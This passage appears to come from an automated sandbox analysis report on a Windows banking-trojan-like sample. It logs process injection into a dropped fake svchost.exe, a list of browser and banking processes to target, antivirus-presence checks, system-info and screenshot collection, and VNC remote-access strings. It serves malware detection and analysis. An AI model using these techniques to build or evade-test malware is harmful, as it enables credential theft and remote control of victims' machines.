Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: D21000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: D22000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: D72000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1030000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1031000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1032000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1082000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1210000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1211000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1212000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1262000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: AC0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: AC1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: AC2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: B12000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 8D0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 8D1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 8D2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 922000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 620000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 621000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 622000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 672000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: A40000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: A41000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: A42000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: A92000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 800000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 801000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 802000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 852000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1190000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1191000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1192000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 11E2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1030000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1031000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1032000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1082000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 930000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 931000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 932000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 982000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,RtlAllocateHeap,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|2_2_02C86370
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|6_2_01756370
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|7_2_03116370
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|10_2_01536370
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeFile opened: CA HIPS KmxAgentJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeFile opened: Agnitum Outpost firewal \pipe\acsipc_serverJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeFile opened: Webroot PREVX C:\ProgramData\PrevxCSI\csidb.csiJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeFile opened: AVG C:\Program Files (x86)\AVG\AVG9\dfncfg.datJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeWindow found: AVP NULL ____AVP.RootJump to behavior
Source: C:\Windows\apppatch\svchost.exeFile opened: CA HIPS KmxAgentJump to behavior
Source: C:\Windows\apppatch\svchost.exeFile opened: Agnitum Outpost firewal \pipe\acsipc_serverJump to behavior
Source: C:\Windows\apppatch\svchost.exeFile opened: Webroot PREVX C:\ProgramData\PrevxCSI\csidb.csiJump to behavior
Source: C:\Windows\apppatch\svchost.exeFile opened: AVG C:\Program Files (x86)\AVG\AVG9\dfncfg.datJump to behavior
Source: C:\Windows\apppatch\svchost.exeWindow found: AVP NULL ____AVP.RootJump to behavior
Source: NcYLgtXIKJgHj.exe, 00000006.00000000.2488459806.0000000001B70000.00000002.00000001.00040000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000007.00000000.2490252189.0000000001920000.00000002.00000001.00040000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000000A.00000000.2497138621.0000000001B40000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: IProgram Manager
Source: Bpfz752pYZ.exe, Bpfz752pYZ.exe, 00000000.00000003.2123232589.00000000006F3000.00000004.00000020.00020000.00000000.sdmp, Bpfz752pYZ.exe, 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, svchost.exe, svchost.exe, 00000002.00000003.2651597551.0000000002D30000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: Shell_TrayWnd
Source: NcYLgtXIKJgHj.exe, 00000006.00000000.2488459806.0000000001B70000.00000002.00000001.00040000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000007.00000000.2490252189.0000000001920000.00000002.00000001.00040000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000000A.00000000.2497138621.0000000001B40000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
Source: NcYLgtXIKJgHj.exe, 00000006.00000000.2488459806.0000000001B70000.00000002.00000001.00040000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000007.00000000.2490252189.0000000001920000.00000002.00000001.00040000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000000A.00000000.2497138621.0000000001B40000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
Source: Bpfz752pYZ.exe, 00000000.00000003.2123232589.00000000006F3000.00000004.00000020.00020000.00000000.sdmp, Bpfz752pYZ.exe, 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, svchost.exe, 00000002.00000003.2651597551.0000000002D30000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: avast.comkasperskydrwebeset.comantiviraviravirustotalvirusinfoz-oleg.comtrendsecureanti-malware.comodo.comavast.comkasperskydrwebeset.comantiviraviravirustotalvirusinfoz-oleg.comtrendsecureanti-malware.comodo.comgoogle.comgoogle.comDnsapi.dllDnsQuery_ADnsQuery_UTF8DnsQuery_WQuery_Mainws2_32.dllgetaddrinfogethostbynameinet_addrqwrtpsdfghjklzxcvbnmeyuioa1676d5775e05c50b46baa5579d4fc7;%s%sMozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)/login.php6908741AF4E26C68E1EE46F1041F009EECA931D2D53E11AD04CF03DEB7677754725005219D4B978D957ABA1678D353DE5AA0586B49E21F7EFFE2F73D7D2D8E26395286E1EA7A106CD617966D9FC5906C6E952289B4D671BA6ADE1B80ECF2468552F401D4D8134CAF4B56DC5F18B673710974A6F7A9AE9273979C092F52E8D7C9100016d3ad29879a90b4dd1b4f76e82166ca3\*.*...\ntdll.dllZwQuerySystemInformationGlobal\{EAF799BF-8249-4fe1-9A0D-92CD3CC22014}Global\{EAF799BF-8449-4fe1-9A0D-95CD39DC2014}fuckGlobal\HighMemoryEvent_%08xc:\windowsc:\windows\explorer.exeShell_TrayWnd
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_00412FF0 cpuid 0_2_00412FF0
Source: C:\Windows\apppatch\svchost.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDateJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\apppatch\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\apppatch\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\apppatch\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\apppatch\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\apppatch\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\apppatch\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\apppatch\svchost.exeQueries volume information: C:\Users\user\AppData\Roaming\82c31ddd\debug_15;Nov;2024_18;56;47.log VolumeInformationJump to behavior
Source: C:\Windows\apppatch\svchost.exeQueries volume information: C:\Users\user\AppData\Roaming\82c31ddd\scr.bmp VolumeInformationJump to behavior
Source: C:\Windows\apppatch\svchost.exeQueries volume information: C:\Users\user\AppData\Roaming\82c31ddd\sysinfo.log VolumeInformationJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeQueries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeQueries volume information: C:\ VolumeInformation
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_00402240 CreateFileA,WriteFile,WriteFile,GetSystemTimeAsFileTime,WriteFile,CloseHandle,0_2_00402240
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_00403900 RegOpenKeyExA,RegQueryValueExA,RegCloseKey,RegCloseKey,GetUserNameA,CharUpperA,strstr,strstr,strstr,strstr,GetSystemWindowsDirectoryA,GetVolumeInformationA,GetModuleFileNameA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,0_2_00403900
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C74920 PathAddBackslashA,CreateFileA,WriteFile,WriteFile,WriteFile,WriteFile,GetModuleFileNameA,WriteFile,WriteFile,WriteFile,GetUserNameA,WriteFile,WriteFile,WriteFile,GetEnvironmentVariableA,WriteFile,WriteFile,WriteFile,GetSystemDefaultLangID,memset,WriteFile,WriteFile,WriteFile,GetDC,GetDeviceCaps,GetSystemMetrics,GetSystemMetrics,_snprintf,WriteFile,WriteFile,WriteFile,GetDateFormatA,WriteFile,WriteFile,WriteFile,GetTimeFormatA,WriteFile,WriteFile,WriteFile,GetTimeZoneInformation,_snprintf,WriteFile,WriteFile,WriteFile,WriteFile,WriteFile,WriteFile,GetSystemWindowsDirectoryA,WriteFile,WriteFile,WriteFile,WriteFile,IsUserAnAdmin,IsUserAnAdmin,WriteFile,WriteFile,GetHandleInformation,CloseHandle,2_2_02C74920
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_004033A0 GetVersionExA,GetCurrentProcess,OpenProcessToken,GetTokenInformation,CloseHandle,0_2_004033A0

Remote Access Functionality

barindex
Contains VNC / remote desktop functionality (version string found)
Source: Bpfz752pYZ.exeString found in binary or memory: RFB 003.006
Source: Bpfz752pYZ.exe, 00000000.00000003.2123232589.00000000006F3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: Bpfz752pYZ.exe, 00000000.00000003.2123232589.00000000006F3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: Bpfz752pYZ.exe, 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmpString found in binary or memory: RFB 003.006
Source: Bpfz752pYZ.exe, 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmpString found in binary or memory: $BRFB 003.006
Source: svchost.exeString found in binary or memory: RFB 003.006
